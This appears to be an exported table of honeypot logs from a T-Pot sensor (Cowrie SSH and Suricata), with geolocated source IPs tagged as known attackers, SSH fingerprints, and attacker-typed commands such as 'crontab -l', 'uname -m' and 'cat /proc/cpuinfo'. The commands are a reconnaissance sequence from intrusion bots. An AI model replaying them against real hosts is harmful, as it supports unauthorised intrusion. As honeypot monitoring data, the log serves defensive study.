35091	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:06:16.088838+03	2021-09-20 15:15:02.787701+03	{"_id": "9gYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "432d66f33754", "@version": "1", "duration": 1.2921018600463867, "timestamp": "2021-09-20T12:06:16.088838Z", "@timestamp": "2021-09-20T12:06:16.088Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	DE
35092	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.891936+03	2021-09-20 15:15:02.78872+03	{"_id": "-gYZA3wBvYTbRNuEhFn9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "ls -lh $(which ls)", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: ls -lh $(which ls)", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:15.891936Z", "@timestamp": "2021-09-20T12:06:15.891Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35093	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:16.554496+03	2021-09-20 15:15:02.790719+03	{"_id": "_AYZA3wBvYTbRNuEiFnn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:16.554496Z", "@timestamp": "2021-09-20T12:06:16.554Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35094	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:17.216953+03	2021-09-20 15:15:02.79372+03	{"_id": "_gYZA3wBvYTbRNuEiFnn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:17.216953Z", "@timestamp": "2021-09-20T12:06:17.216Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35095	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:17.855357+03	2021-09-20 15:15:02.79569+03	{"_id": "AgYZA3wBvYTbRNuEjFrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "uname -m", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: uname -m", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:17.855357Z", "@timestamp": "2021-09-20T12:06:17.855Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35096	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:18.221897+03	2021-09-20 15:15:02.79669+03	{"_id": "BAYZA3wBvYTbRNuEjFrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "96.78.175.36", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3671684265136719, "duplicate": true, "timestamp": "2021-09-20T12:06:18.221897Z", "@timestamp": "2021-09-20T12:06:18.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35097	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:17.854812+03	2021-09-20 15:15:02.79769+03	{"_id": "BQYZA3wBvYTbRNuEjFrO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:17.854812Z", "@timestamp": "2021-09-20T12:06:17.854Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35098	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:06:10.975979+03	2021-09-20 15:15:02.79872+03	{"_id": "xgYZA3wBvYTbRNuEcVlx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "ffcdeef93d35", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:10.975979Z", "@timestamp": "2021-09-20T12:06:10.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	US
35099	107.0.200.227	109.199.241.180	Cowrie	2021-09-20 15:06:11.113988+03	2021-09-20 15:15:02.79972+03	{"_id": "xwYZA3wBvYTbRNuEcVlx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "107.0.200.227", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ffcdeef93d35", "@version": "1", "timestamp": "2021-09-20T12:06:11.113988Z", "@timestamp": "2021-09-20T12:06:11.113Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	US
35100	107.0.200.227	109.199.241.180	Suricata	2021-09-20 15:06:11.111414+03	2021-09-20 15:15:02.801719+03	{"_id": "yQYZA3wBvYTbRNuEclmW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "107.0.200.227", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 613, "latitude": 44.9064, "location": {"lat": 44.9064, "lon": -93.2406}, "timezone": "America/Chicago", "city_name": "Minneapolis", "longitude": -93.2406, "postal_code": "55417", "region_code": "MN", "region_name": "Minnesota", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "107.0.200.227", "dest_ip": "192.168.20.116", "flow_id": 1745440235242964, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 45400, "dest_port": 22, "timestamp": "2021-09-20T12:06:11.111414Z", "@timestamp": "2021-09-20T12:06:11.111Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	US
35101	87.112.251.105	109.199.241.180	Cowrie	2021-09-20 15:06:11.503803+03	2021-09-20 15:15:02.802721+03	{"_id": "1QYZA3wBvYTbRNuEdVla", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "87.112.251.105", "asn": 6871, "as_org": "British Telecommunications PLC", "latitude": 53.75, "location": {"lat": 53.75, "lon": -2.4833}, "timezone": "Europe/London", "city_name": "Blackburn", "longitude": -2.4833, "postal_code": "BB1", "region_code": "BBD", "region_name": "Blackburn with Darwen", "country_name": "United Kingdom", "country_code2": "GB", "country_code3": "GB", "continent_code": "EU"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "87.112.251.105", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "ffbcf8bb799e", "@version": "1", "timestamp": "2021-09-20T12:06:11.503803Z", "@timestamp": "2021-09-20T12:06:11.503Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	GB
35102	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:12.591178+03	2021-09-20 15:15:02.804724+03	{"_id": "2gYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:12.591178Z", "@timestamp": "2021-09-20T12:06:12.591Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	US
35103	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.244573+03	2021-09-20 15:15:02.805691+03	{"_id": "2AYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.244573Z", "@timestamp": "2021-09-20T12:06:13.244Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35104	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:13.246701+03	2021-09-20 15:15:02.809717+03	{"_id": "3AYZA3wBvYTbRNuEeVlE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:13.246701Z", "@timestamp": "2021-09-20T12:06:13.246Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	US
35105	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:14.275698+03	2021-09-20 15:15:02.811691+03	{"_id": "4AYZA3wBvYTbRNuEfVkr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "567223471493a26282d32407e895b876f12ebbe0a5272b71b49a17144c7fac18", "src_ip": "96.78.175.36", "ttylog": "log/tty/567223471493a26282d32407e895b876f12ebbe0a5272b71b49a17144c7fac18", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/567223471493a26282d32407e895b876f12ebbe0a5272b71b49a17144c7fac18 after 0 seconds", "session": "f5c125d86b8c", "@version": "1", "duration": 0.3688676357269287, "duplicate": false, "timestamp": "2021-09-20T12:06:14.275698Z", "@timestamp": "2021-09-20T12:06:14.275Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	US
35106	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:14.54124+03	2021-09-20 15:15:02.81269+03	{"_id": "6QYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:14.541240Z", "@timestamp": "2021-09-20T12:06:14.541Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35107	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:06:14.794206+03	2021-09-20 15:15:02.814689+03	{"_id": "7gYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 46.101.115.211:41202 (192.168.176.2:22) [session: 432d66f33754]", "session": "432d66f33754", "@version": "1", "protocol": "ssh", "src_port": 41202, "dest_port": 22, "timestamp": "2021-09-20T12:06:14.794206Z", "@timestamp": "2021-09-20T12:06:14.794Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	DE
35108	46.101.115.211	109.199.241.180	Cowrie	2021-09-20 15:06:14.797009+03	2021-09-20 15:15:02.81569+03	{"_id": "7wYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "46.101.115.211", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 50.1155, "location": {"lat": 50.1155, "lon": 8.6842}, "timezone": "Europe/Berlin", "city_name": "Frankfurt am Main", "longitude": 8.6842, "postal_code": "60313", "region_code": "HE", "region_name": "Hesse", "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "46.101.115.211", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "432d66f33754", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:06:14.797009Z", "@timestamp": "2021-09-20T12:06:14.797Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	DE
35109	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:15.232519+03	2021-09-20 15:15:02.816691+03	{"_id": "8AYZA3wBvYTbRNuEgVkW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:15.232519Z", "@timestamp": "2021-09-20T12:06:15.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
35110	96.78.175.36	109.199.241.180	Cowrie	2021-09-20 15:06:16.553944+03	2021-09-20 15:15:02.81769+03	{"_id": "_wYZA3wBvYTbRNuEiFnn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-arm-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "96.78.175.36", "asn": 7922, "as_org": "Comcast Cable Communications, LLC", "dma_code": 807, "latitude": 37.3073, "location": {"lat": 37.3073, "lon": -121.8076}, "timezone": "America/Los_Angeles", "city_name": "San Jose", "longitude": -121.8076, "postal_code": "95121", "region_code": "CA", "region_name": "California", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "96.78.175.36", "eventid": "cowrie.session.params", "message": [], "session": "f5c125d86b8c", "@version": "1", "timestamp": "2021-09-20T12:06:16.553944Z", "@timestamp": "2021-09-20T12:06:16.553Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	US
